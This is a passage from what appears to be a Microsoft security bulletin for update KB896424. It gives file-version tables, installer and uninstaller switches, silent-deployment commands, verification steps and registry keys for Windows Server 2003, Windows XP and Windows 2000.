Name\tVersion\tDate\tTime\tSize\tCPU\tFolder\r\n\r\nGdi32.dll\r\n\t\r\n\r\n5.2.3790.419\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n806,912\r\n\t\r\n\r\nIA-64\r\n\t\r\n\r\nRTMGDR\r\n\r\nWin32k.sys\r\n\t\r\n\r\n5.2.3790.419\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n4,959,744\r\n\t\r\n\r\nIA-64\r\n\t\r\n\r\nRTMGDR\r\n\r\nWgdi32.dll\r\n\t\r\n\r\n5.2.3790.419\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n250,880\r\n\t\r\n\r\nx86\r\n\t\r\n\r\nRTMGDR&#92;WOW\r\n\r\nGdi32.dll\r\n\t\r\n\r\n5.2.3790.419\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n807,936\r\n\t\r\n\r\nIA-64\r\n\t\r\n\r\nRTMQFE\r\n\r\nWin32k.sys\r\n\t\r\n\r\n5.2.3790.419\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n4,965,888\r\n\t\r\n\r\nIA-64\r\n\t\r\n\r\nRTMQFE\r\n\r\nWgdi32.dll\r\n\t\r\n\r\n5.2.3790.419\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n250,880\r\n\t\r\n\r\nx86\r\n\t\r\n\r\nRTMQFE&#92;WOW\r\n\r\nGdi32.dll\r\n\t\r\n\r\n5.2.3790.2542\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n907,264\r\n\t\r\n\r\nIA-64\r\n\t\r\n\r\nSP1GDR\r\n\r\nWin32k.sys\r\n\t\r\n\r\n5.2.3790.2542\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n5,547,008\r\n\t\r\n\r\nIA-64\r\n\t\r\n\r\nSP1GDR\r\n\r\nWgdi32.dll\r\n\t\r\n\r\n5.2.3790.2542\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n285,184\r\n\t\r\n\r\nx86\r\n\t\r\n\r\nSP1GDR&#92;WOW\r\n\r\nGdi32.dll\r\n\t\r\n\r\n5.2.3790.2542\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n907,264\r\n\t\r\n\r\nIA-64\r\n\t\r\n\r\nSP1QFE\r\n\r\nWin32k.sys\r\n\t\r\n\r\n5.2.3790.2542\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n5,545,984\r\n\t\r\n\r\nIA-64\r\n\t\r\n\r\nSP1QFE\r\n\r\nWgdi32.dll\r\n\t\r\n\r\n5.2.3790.2542\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n285,184\r\n\t\r\n\r\nx86\r\n\t\r\n\r\nSP1QFE&#92;WOW\r\n\r\nArpidfix.exe\r\n\t\r\n\r\n5.2.3790.2542\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n74,752\r\n\t\r\n\r\nIA-64\r\n\t\r\n\r\nWindows Server 2003, Standard x64 Edition; Windows Server 2003, Enterprise x64 Edition; and Windows Server 2003, Datacenter x64 Edition:\r\nFile Name\tVersion\tDate\tTime\tSize\tCPU\tFolder\r\n\r\nGdi32.dll\r\n\t\r\n\r\n5.2.3790.419\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n806,912\r\n\t\r\n\r\nIA-64\r\n\t\r\n\r\nRTMGDR\r\n\r\nWin32k.sys\r\n\t\r\n\r\n5.2.3790.419\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n4,959,744\r\n\t\r\n\r\nIA-64\r\n\t\r\n\r\nRTMGDR\r\n\r\nWgdi32.dll\r\n\t\r\n\r\n5.2.3790.419\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n250,880\r\n\t\r\n\r\nx86\r\n\t\r\n\r\nRTMGDR&#92;WOW\r\n\r\nGdi32.dll\r\n\t\r\n\r\n5.2.3790.419\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n807,936\r\n\t\r\n\r\nIA-64\r\n\t\r\n\r\nRTMQFE\r\n\r\nWin32k.sys\r\n\t\r\n\r\n5.2.3790.419\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n4,965,888\r\n\t\r\n\r\nIA-64\r\n\t\r\n\r\nRTMQFE\r\n\r\nWgdi32.dll\r\n\t\r\n\r\n5.2.3790.419\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n250,880\r\n\t\r\n\r\nx86\r\n\t\r\n\r\nRTMQFE&#92;WOW\r\n\r\nGdi32.dll\r\n\t\r\n\r\n5.2.3790.2542\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n907,264\r\n\t\r\n\r\nIA-64\r\n\t\r\n\r\nSP1GDR\r\n\r\nWin32k.sys\r\n\t\r\n\r\n5.2.3790.2542\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n5,547,008\r\n\t\r\n\r\nIA-64\r\n\t\r\n\r\nSP1GDR\r\n\r\nWgdi32.dll\r\n\t\r\n\r\n5.2.3790.2542\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n285,184\r\n\t\r\n\r\nx86\r\n\t\r\n\r\nSP1GDR&#92;WOW\r\n\r\nGdi32.dll\r\n\t\r\n\r\n5.2.3790.2542\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n907,264\r\n\t\r\n\r\nIA-64\r\n\t\r\n\r\nSP1QFE\r\n\r\nWin32k.sys\r\n\t\r\n\r\n5.2.3790.2542\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n5,545,984\r\n\t\r\n\r\nIA-64\r\n\t\r\n\r\nSP1QFE\r\n\r\nWgdi32.dll\r\n\t\r\n\r\n5.2.3790.2542\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n285,184\r\n\t\r\n\r\nx86\r\n\t\r\n\r\nSP1QFE&#92;WOW\r\n\r\nArpidfix.exe\r\n\t\r\n\r\n5.2.3790.2542\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n74,752\r\n\t\r\n\r\nIA-64\r\n\t\r\n\r\nNotes When you install these security updates, the installer checks to see if one or more of the files that are being updated on your system have previously been updated by a Microsoft hotfix.\r\n\r\nIf you have previously installed a hotfix to update one of these files, the installer copies the RTMQFE, SP1QFE, or SP2QFE files to your system. Otherwise, the installer copies the RTMGDR, SP1GDR, or SP2GDR files to your system. Security updates may not contain all variations of these files. For more information about this behavior, see Microsoft Knowledge Base Article 824994.\r\n\r\nFor more information about this behavior, see Microsoft Knowledge Base Article 824994.\r\n\r\nFor more information about the Update.exe installer, visit the Microsoft TechNet Web site.\r\n\r\nFor more information about the terminology that appears in this bulletin, such as hotfix, see Microsoft Knowledge Base Article 824684.\r\n\r\nArpidfix.exe is used by the security update installer to address an issue documented in Microsoft Knowledge Base Article 904630. This file is not installed onto the affected system.\r\n\r\nVerifying that the Update Has Been Applied\r\n\u2022\t\r\n\r\nMicrosoft Baseline Security Analyzer\r\n\r\nTo verify that a security update has been applied to an affected system, you can use the Microsoft Baseline Security Analyzer &#40;MBSA&#41; tool. MBSA allows administrators to scan local and remote systems for missing security updates and for common security misconfigurations. For more information about MBSA, visit the Microsoft Baseline Security Analyzer Web site.\r\n\u2022\t\r\n\r\nFile Version Verification\r\n\r\nNote Because there are several versions of Microsoft Windows, the following steps may be different on your computer. If they are, see your product documentation to complete these steps.\r\n\r\n1.\r\n\t\r\n\r\nClick Start, and then click Search.\r\n\r\n2.\r\n\t\r\n\r\nIn the Search Results pane, click All files and folders under Search Companion.\r\n\r\n3.\r\n\t\r\n\r\nIn the All or part of the file name box, type a file name from the appropriate file information table, and then click Search.\r\n\r\n4.\r\n\t\r\n\r\nIn the list of files, right-click a file name from the appropriate file information table, and then click Properties.\r\n\r\nNote Depending on the version of the operating system or programs installed, some of the files that are listed in the file information table may not be installed.\r\n\r\n5.\r\n\t\r\n\r\nOn the Version tab, determine the version of the file that is installed on your computer by comparing it to the version that is documented in the appropriate file information table.\r\n\r\nNote Attributes other than the file version may change during installation. Comparing other file attributes to the information in the file information table is not a supported method of verifying that the update has been applied. Also, in certain cases, files may be renamed during installation. If the file or version information is not present, use one of the other available methods to verify update installation.\r\n\u2022\t\r\n\r\nRegistry Key Verification\r\n\r\nYou may also be able to verify the files that this security update has installed by reviewing the following registry keys.\r\n\r\nWindows Server 2003, Web Edition; Windows Server 2003, Standard Edition; Windows Server 2003, Enterprise Edition; Windows Server 2003, Datacenter Edition; Windows Small Business Server 2003; Windows Server 2003, Web Edition with SP1; Windows Server 2003, Standard Edition with SP1; Windows Server 2003, Enterprise Edition with SP1; Windows Server 2003, Datacenter Edition with SP1; Windows Server 2003, Enterprise Edition for Itanium-based Systems; Windows Server 2003, Datacenter Edition for Itanium-based Systems; Windows Server 2003, Enterprise Edition with SP1 for Itanium-based Systems; Windows Server 2003, Datacenter Edition with SP1 for Itanium-based Systems; Windows Server 2003, Standard x64 Edition; Windows Server 2003, Enterprise x64 Edition; and Windows Server 2003, Datacenter x64 Edition:\r\n\r\nHKEY_LOCAL_MACHINE&#92;SOFTWARE&#92;Microsoft&#92;Updates&#92;Windows Server 2003&#92;SP2&#92;KB896424&#92;Filelist\r\n\r\nNote This registry key may not contain a complete list of installed files. Also, this registry key may not be created correctly if an administrator or an OEM integrates or slipstreams the 896424 security update into the Windows installation source files.\r\nTop of sectionTop of section\r\n\r\n\t\r\nWindows XP &#40;all versions&#41;\r\n\r\nPrerequisites\r\nThis security update requires Microsoft Windows XP Service Pack 1 or a later version. For more information, see Microsoft Knowledge Base Article 322389.\r\n\r\nInclusion in Future Service Packs:\r\nThe update for this issue will be included in a future Service Pack or Update Rollup.\r\n\r\nInstallation Information\r\n\r\nThis security update supports the following setup switches.\r\nSupported Security Update Installation Switches\r\nSwitch\tDescription\r\n\r\n/help\r\n\t\r\n\r\nDisplays the command-line options\r\nSetup Modes\t \r\n\r\n/passive\r\n\t\r\n\r\nUnattended Setup mode. No user interaction is required, but installation status is displayed. If a restart is required at the end of Setup, a dialog box will be presented to the user with a timer warning that the computer will restart in 30 seconds.\r\n\r\n/quiet\r\n\t\r\n\r\nQuiet mode. This is the same as unattended mode, but no status or error messages are displayed.\r\nRestart Options\t \r\n\r\n/norestart\r\n\t\r\n\r\nDoes not restart when installation has completed\r\n\r\n/forcerestart\r\n\t\r\n\r\nRestarts the computer after installation and force other applications to close at shutdown without saving open files first.\r\n\r\n/warnrestart[:x]\r\n\t\r\n\r\nPresents a dialog box with a timer warning the user that the computer will restart in x seconds. &#40;The default setting is 30 seconds.&#41; Intended for use with the /quiet switch or the /passive switch.\r\n\r\n/promptrestart\r\n\t\r\n\r\nDisplay a dialog box prompting the local user to allow a restart\r\nSpecial Options\t \r\n\r\n/overwriteoem\r\n\t\r\n\r\nOverwrites OEM files without prompting\r\n\r\n/nobackup\r\n\t\r\n\r\nDoes not back up files needed for uninstall\r\n\r\n/forceappsclose\r\n\t\r\n\r\nForces other programs to close when the computer shuts down\r\n\r\n/log:path\r\n\t\r\n\r\nAllows the redirection of installation log files\r\n\r\n/integrate:path\r\n\t\r\n\r\nIntegrates the update into the Windows source files. These files are located at the path that is specified in the switch.\r\n\r\n/extract[:path]\r\n\t\r\n\r\nExtracts files without starting the Setup program\r\n\r\n/ER\r\n\t\r\n\r\nEnables extended error reporting\r\n\r\n/verbose\r\n\t\r\n\r\nEnables verbose logging. During installation, creates &#37;Windir&#37;&#92;CabBuild.log. This log details the files that are copied. Using this switch may cause the installation to proceed more slowly.\r\n\r\nNote You can combine these switches into one command. For backward compatibility, the security update also supports the setup switches that the earlier version of the Setup program uses. For more information about the supported installation switches, see Microsoft Knowledge Base Article 262841. For more information about the Update.exe installer, visit the Microsoft TechNet Web site.\r\n\r\nDeployment Information\r\n\r\nTo install the security update without any user intervention, use the following command at a command prompt for Microsoft Windows XP:\r\n\r\nWindowsxp-kb896424-x86-enu /quiet\r\n\r\nNote Use of the /quiet switch will suppress all messages. This includes suppressing failure messages. Administrators should use one of the supported methods to verify the installation was successful when they use the /quiet switch. Administrators should also review the KB896424.log file for any failure messages when they use this switch.\r\n\r\nTo install the security update without forcing the system to restart, use the following command at a command prompt for Windows XP:\r\n\r\nWindowsxp-kb896424-x86-enu /norestart\r\n\r\nFor information about how to deploy this security update by using Software Update Services, visit the Software Update Services Web site. For more information about how to deploy this security update using Windows Server Update Services, visit the Windows Server Update Services Web site. This security update will also be available through the Microsoft Update Web site.\r\n\r\nRestart Requirement\r\n\r\nYou must restart your system after you apply this security update.\r\n\r\nRemoval Information\r\n\r\nTo remove this security update, use the Add or Remove Programs tool in Control Panel.\r\n\r\nSystem administrators can also use the Spuninst.exe utility to remove this security update. The Spuninst.exe utility is located in the &#37;Windir&#37;&#92;$NTUninstallKB896424$&#92;Spuninst folder.\r\nSupported Spuninst.exe Switches\r\nSwitch\tDescription\r\n\r\n/help\r\n\t\r\n\r\nDisplays the command-line options\r\nSetup Modes\t \r\n\r\n/passive\r\n\t\r\n\r\nUnattended Setup mode. No user interaction is required, but installation status is displayed. If a restart is required at the end of Setup, a dialog box will be presented to the user with a timer warning that the computer will restart in 30 seconds.\r\n\r\n/quiet\r\n\t\r\n\r\nQuiet mode. This is the same as unattended mode, but no status or error messages are displayed.\r\nRestart Options\t \r\n\r\n/norestart\r\n\t\r\n\r\nDoes not restart when installation has completed\r\n\r\n/forcerestart\r\n\t\r\n\r\nRestarts the computer after installation and force other applications to close at shutdown without saving open files first.\r\n\r\n/warnrestart[:x]\r\n\t\r\n\r\nPresents a dialog box with a timer warning the user that the computer will restart in x seconds. &#40;The default setting is 30 seconds.&#41; Intended for use with the /quiet switch or the /passive switch.\r\n\r\n/promptrestart\r\n\t\r\n\r\nDisplay a dialog box prompting the local user to allow a restart\r\nSpecial Options\t \r\n\r\n/forceappsclose\r\n\t\r\n\r\nForces other programs to close when the computer shuts down\r\n\r\n/log:path\r\n\t\r\n\r\nAllows the redirection of installation log files\r\n\r\nFile Information\r\n\r\nThe English version of this security update has the file attributes that are listed in the following table. The dates and times for these files are listed in coordinated universal time &#40;UTC&#41;. When you view the file information, it is converted to local time. To find the difference between UTC and local time, use the Time Zone tab in the Date and Time tool in Control Panel.\r\n\r\nWindows XP Home Edition Service Pack 1, Windows XP Professional Service Pack 1, Windows XP Tablet PC Edition, Windows XP Media Center Edition, Windows XP Home Edition Service Pack 2, Windows XP Professional Service Pack 2, Windows XP Tablet PC Edition 2005, and Windows XP Media Center Edition 2005:\r\nFile Name\tVersion\tDate\tTime\tSize\tFolder\r\n\r\nGdi32.dll\r\n\t\r\n\r\n5.1.2600.1755\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:19\r\n\t\r\n\r\n260,608\r\n\t\r\n\r\nSP1QFE\r\n\r\nMf3216.dll\r\n\t\r\n\r\n5.1.2600.1331\r\n\t\r\n\r\n30-Mar-2004\r\n\t\r\n\r\n01:48\r\n\t\r\n\r\n36,864\r\n\t\r\n\r\nSP1QFE\r\n\r\nUser32.dll\r\n\t\r\n\r\n5.1.2600.1634\r\n\t\r\n\r\n02-Mar-2005\r\n\t\r\n\r\n18:20\r\n\t\r\n\r\n561,152\r\n\t\r\n\r\nSP1QFE\r\n\r\nWin32k.sys\r\n\t\r\n\r\n5.1.2600.1755\r\n\t\r\n\r\n04-Oct-2005\r\n\t\r\n\r\n01:38\r\n\t\r\n\r\n1,799,552\r\n\t\r\n\r\nSP1QFE\r\n\r\nGdi32.dll\r\n\t\r\n\r\n5.1.2600.2770\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:09\r\n\t\r\n\r\n280,064\r\n\t\r\n\r\nSP2GDR\r\n\r\nWin32k.sys\r\n\t\r\n\r\n5.1.2600.2770\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n00:05\r\n\t\r\n\r\n1,839,488\r\n\t\r\n\r\nSP2GDR\r\n\r\nGdi32.dll\r\n\t\r\n\r\n5.1.2600.2770\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:18\r\n\t\r\n\r\n280,064\r\n\t\r\n\r\nSP2QFE\r\n\r\nWin32k.sys\r\n\t\r\n\r\n5.1.2600.2770\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n00:10\r\n\t\r\n\r\n1,839,360\r\n\t\r\n\r\nSP2QFE\r\n\r\nArpidfix.exe\r\n\t\r\n\r\n5.1.2600.2770\r\n\t\r\n\r\n05-Oct-2005\r\n\t\r\n\r\n23:39\r\n\t\r\n\r\n30,720\r\n\t\r\n\r\nWindows XP Professional x64:\r\nFile Name\tVersion\tDate\tTime\tSize\tCPU\tFolder\r\n\r\nGdi32.dll\r\n\t\r\n\r\n5.2.3790.419\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n806,912\r\n\t\r\n\r\nIA-64\r\n\t\r\n\r\nRTMGDR\r\n\r\nWin32k.sys\r\n\t\r\n\r\n5.2.3790.419\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n4,959,744\r\n\t\r\n\r\nIA-64\r\n\t\r\n\r\nRTMGDR\r\n\r\nWgdi32.dll\r\n\t\r\n\r\n5.2.3790.419\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n250,880\r\n\t\r\n\r\nx86\r\n\t\r\n\r\nRTMGDR&#92;WOW\r\n\r\nGdi32.dll\r\n\t\r\n\r\n5.2.3790.419\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n807,936\r\n\t\r\n\r\nIA-64\r\n\t\r\n\r\nRTMQFE\r\n\r\nWin32k.sys\r\n\t\r\n\r\n5.2.3790.419\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n4,965,888\r\n\t\r\n\r\nIA-64\r\n\t\r\n\r\nRTMQFE\r\n\r\nWgdi32.dll\r\n\t\r\n\r\n5.2.3790.419\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n250,880\r\n\t\r\n\r\nx86\r\n\t\r\n\r\nRTMQFE&#92;WOW\r\n\r\nGdi32.dll\r\n\t\r\n\r\n5.2.3790.2542\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n907,264\r\n\t\r\n\r\nIA-64\r\n\t\r\n\r\nSP1GDR\r\n\r\nWin32k.sys\r\n\t\r\n\r\n5.2.3790.2542\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n5,547,008\r\n\t\r\n\r\nIA-64\r\n\t\r\n\r\nSP1GDR\r\n\r\nWgdi32.dll\r\n\t\r\n\r\n5.2.3790.2542\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n285,184\r\n\t\r\n\r\nx86\r\n\t\r\n\r\nSP1GDR&#92;WOW\r\n\r\nGdi32.dll\r\n\t\r\n\r\n5.2.3790.2542\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n907,264\r\n\t\r\n\r\nIA-64\r\n\t\r\n\r\nSP1QFE\r\n\r\nWin32k.sys\r\n\t\r\n\r\n5.2.3790.2542\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n5,545,984\r\n\t\r\n\r\nIA-64\r\n\t\r\n\r\nSP1QFE\r\n\r\nWgdi32.dll\r\n\t\r\n\r\n5.2.3790.2542\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n285,184\r\n\t\r\n\r\nx86\r\n\t\r\n\r\nSP1QFE&#92;WOW\r\n\r\nArpidfix.exe\r\n\t\r\n\r\n5.2.3790.2542\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n03:03\r\n\t\r\n\r\n74,752\r\n\t\r\n\r\nIA-64\r\n\t\r\n\r\nNotes When you install these security updates, the installer checks to see if one or more of the files that are being updated on your system have previously been updated by a Microsoft hotfix.\r\n\r\nIf you have previously installed a hotfix to update one of these files, the installer copies the RTMQFE, SP1QFE, or SP2QFE files to your system. Otherwise, the installer copies the RTMGDR, SP1GDR, or SP2GDR files to your system. Security updates may not contain all variations of these files. For more information about this behavior, see Microsoft Knowledge Base Article 824994.\r\n\r\nFor more information about the Update.exe installer, visit the Microsoft TechNet Web site.\r\n\r\nFor more information about the terminology that appears in this bulletin, such as hotfix, see Microsoft Knowledge Base Article 824684.\r\n\r\nArpidfix.exe is used by the security update installer to address an issue documented in Microsoft Knowledge Base Article 904630. This file is not installed onto the affected system.\r\n\r\nVerifying that the Update Has Been Applied\r\n\u2022\t\r\n\r\nMicrosoft Baseline Security Analyzer\r\n\r\nTo verify that a security update has been applied to an affected system, you can use the Microsoft Baseline Security Analyzer &#40;MBSA&#41; tool. MBSA allows administrators to scan local and remote systems for missing security updates and for common security misconfigurations. For more information about MBSA, visit the Microsoft Baseline Security Analyzer Web site.\r\n\u2022\t\r\n\r\nFile Version Verification\r\n\r\nNote Because there are several versions of Microsoft Windows, the following steps may be different on your computer. If they are, see your product documentation to complete these steps.\r\n\r\n1.\r\n\t\r\n\r\nClick Start, and then click Search.\r\n\r\n2.\r\n\t\r\n\r\nIn the Search Results pane, click All files and folders under Search Companion.\r\n\r\n3.\r\n\t\r\n\r\nIn the All or part of the file name box, type a file name from the appropriate file information table, and then click Search.\r\n\r\n4.\r\n\t\r\n\r\nIn the list of files, right-click a file name from the appropriate file information table, and then click Properties.\r\n\r\nNote Depending on the version of the operating system or programs installed, some of the files that are listed in the file information table may not be installed.\r\n\r\n5.\r\n\t\r\n\r\nOn the Version tab, determine the version of the file that is installed on your computer by comparing it to the version that is documented in the appropriate file information table.\r\n\r\nNote Attributes other than the file version may change during installation. Comparing other file attributes to the information in the file information table is not a supported method of verifying that the update has been applied. Also, in certain cases, files may be renamed during installation. If the file or version information is not present, use one of the other available methods to verify update installation.\r\n\u2022\t\r\n\r\nRegistry Key Verification\r\n\r\nYou may also be able to verify the files that this security update has installed by reviewing the following registry keys.\r\n\r\nFor Windows XP Home Edition Service Pack 1, Windows XP Professional Service Pack 1, Windows XP Tablet PC Edition, Windows XP Media Center Edition, Windows XP Home Edition Service Pack 2, Windows XP Professional Service Pack 2, Windows XP Tablet PC Edition 2005, and Windows XP Media Center Edition 2005:\r\n\r\nHKEY_LOCAL_MACHINE&#92;SOFTWARE&#92;Microsoft&#92;Updates&#92;Windows XP&#92;SP3&#92;KB896424&#92;Filelist\r\n\r\nFor Windows XP Professional x64 Edition:\r\n\r\nHKEY_LOCAL_MACHINE&#92;SOFTWARE&#92;Microsoft&#92;Updates&#92;Windows XP Version 2003&#92;SP2&#92;KB896424&#92;Filelist\r\n\r\nNote These registry keys may not contain a complete list of installed files. Also, these registry keys may not be created correctly if an administrator or an OEM integrates or slipstreams the 896424 security update into the Windows installation source files.\r\nTop of sectionTop of section\r\n\r\n\t\r\nWindows 2000 &#40;all versions&#41;\r\n\r\nPrerequisites\r\nFor Windows 2000, this security update requires Service Pack 4 &#40;SP4&#41;. For Small Business Server 2000, this security update requires Small Business Server 2000 Service Pack 1a &#40;SP1a&#41; or Small Business Server 2000 running with Windows 2000 Server Service Pack 4 &#40;SP4&#41;.\r\n\r\nThe software that is listed has been tested to determine whether the versions are affected. Other versions either no longer include security update support or may not be affected. To determine the support life cycle for your product and version, visit the Microsoft Support Lifecycle Web site.\r\n\r\nFor more information about how to obtain the latest service pack, see Microsoft Knowledge Base Article 260910.\r\n\r\nInclusion in Future Service Packs:\r\nThe update for this issue may be included in a future Update Rollup.\r\n\r\nInstallation Information\r\n\r\nThis security update supports the following setup switches.\r\nSupported Security Update Installation Switches\r\nSwitch\tDescription\r\n\r\n/help\r\n\t\r\n\r\nDisplays the command-line options\r\nSetup Modes\t \r\n\r\n/passive\r\n\t\r\n\r\nUnattended Setup mode. No user interaction is required, but installation status is displayed. If a restart is required at the end of Setup, a dialog box will be presented to the user with a timer warning that the computer will restart in 30 seconds.\r\n\r\n/quiet\r\n\t\r\n\r\nQuiet mode. This is the same as unattended mode, but no status or error messages are displayed.\r\nRestart Options\t \r\n\r\n/norestart\r\n\t\r\n\r\nDoes not restart when installation has completed\r\n\r\n/forcerestart\r\n\t\r\n\r\nRestarts the computer after installation and force other applications to close at shutdown without saving open files first.\r\n\r\n/warnrestart[:x]\r\n\t\r\n\r\nPresents a dialog box with a timer warning the user that the computer will restart in x seconds. &#40;The default setting is 30 seconds.&#41; Intended for use with the /quiet switch or the /passive switch.\r\n\r\n/promptrestart\r\n\t\r\n\r\nDisplay a dialog box prompting the local user to allow a restart\r\nSpecial Options\t \r\n\r\n/overwriteoem\r\n\t\r\n\r\nOverwrites OEM files without prompting\r\n\r\n/nobackup\r\n\t\r\n\r\nDoes not back up files needed for uninstall\r\n\r\n/forceappsclose\r\n\t\r\n\r\nForces other programs to close when the computer shuts down\r\n\r\n/log:path\r\n\t\r\n\r\nAllows the redirection of installation log files\r\n\r\n/integrate:path\r\n\t\r\n\r\nIntegrates the update into the Windows source files. These files are located at the path that is specified in the switch.\r\n\r\n/extract[:path]\r\n\t\r\n\r\nExtracts files without starting the Setup program\r\n\r\n/ER\r\n\t\r\n\r\nEnables extended error reporting\r\n\r\n/verbose\r\n\t\r\n\r\nEnables verbose logging. During installation, creates &#37;Windir&#37;&#92;CabBuild.log. This log details the files that are copied. Using this switch may cause the installation to proceed more slowly.\r\n\r\nNote You can combine these switches into one command. For backward compatibility, the security update also supports the setup switches that the earlier version of the Setup program uses. For more information about the supported installation switches, see Microsoft Knowledge Base Article 262841. For more information about the Update.exe installer, visit the Microsoft TechNet Web site. For more information about the terminology that appears in this bulletin, such as hotfix, see Microsoft Knowledge Base Article 824684.\r\n\r\nDeployment Information\r\n\r\nTo install the security update without any user intervention, use the following command at a command prompt for Windows 2000 Service Pack 4:\r\n\r\nWindows2000-kb896424-x86-enu /quiet\r\n\r\nNote Use of the /quiet switch will suppress all messages. This includes suppressing failure messages. Administrators should use one of the supported methods to verify the installation was successful when they use the /quiet switch. Administrators should also review the KB896424.log file for any failure messages when they use this switch.\r\n\r\nTo install the security update without forcing the system to restart, use the following command at a command prompt for Windows 2000 Service Pack 4:\r\n\r\nWindows2000-kb896424-x86-enu /norestart\r\n\r\nFor more information about how to deploy this security update with Software Update Services, visit the Software Update Services Web site. For more information about how to deploy this security update using Windows Server Update Services, visit the Windows Server Update Services Web site. This security update will also be available through the Microsoft Update Web site.\r\n\r\nRestart Requirement\r\n\r\nYou must restart your system after you apply this security update.\r\n\r\nRemoval Information\r\n\r\nTo remove this security update, use the Add or Remove Programs tool in Control Panel.\r\n\r\nSystem administrators can also use the Spuninst.exe utility to remove this security update. The Spuninst.exe utility is located in the &#37;Windir&#37;&#92;$NTUninstallKB896424$&#92;Spuninst folder.\r\nSupported Spuninst.exe Switches\r\nSwitch\tDescription\r\n\r\n/help\r\n\t\r\n\r\nDisplays the command-line options\r\nSetup Modes\t \r\n\r\n/passive\r\n\t\r\n\r\nUnattended Setup mode. No user interaction is required, but installation status is displayed. If a restart is required at the end of Setup, a dialog box will be presented to the user with a timer warning that the computer will restart in 30 seconds.\r\n\r\n/quiet\r\n\t\r\n\r\nQuiet mode. This is the same as unattended mode, but no status or error messages are displayed.\r\nRestart Options\t \r\n\r\n/norestart\r\n\t\r\n\r\nDoes not restart when installation has completed\r\n\r\n/forcerestart\r\n\t\r\n\r\nRestarts the computer after installation and force other applications to close at shutdown without saving open files first.\r\n\r\n/warnrestart[:x]\r\n\t\r\n\r\nPresents a dialog box with a timer warning the user that the computer will restart in x seconds. &#40;The default setting is 30 seconds.&#41; Intended for use with the /quiet switch or the /passive switch.\r\n\r\n/promptrestart\r\n\t\r\n\r\nDisplay a dialog box prompting the local user to allow a restart\r\nSpecial Options\t \r\n\r\n/forceappsclose\r\n\t\r\n\r\nForces other programs to close when the computer shuts down\r\n\r\n/log:path\r\n\t\r\n\r\nAllows the redirection of installation log files\r\n\r\nFile Information\r\n\r\nThe English version of this security update has the file attributes that are listed in the following table. The dates and times for these files are listed in coordinated universal time &#40;UTC&#41;. When you view the file information, it is converted to local time. To find the difference between UTC and local time, use the Time Zone tab in the Date and Time tool in Control Panel.\r\n\r\nWindows 2000 Service Pack 4 and Small Business Server 2000:\r\nFile 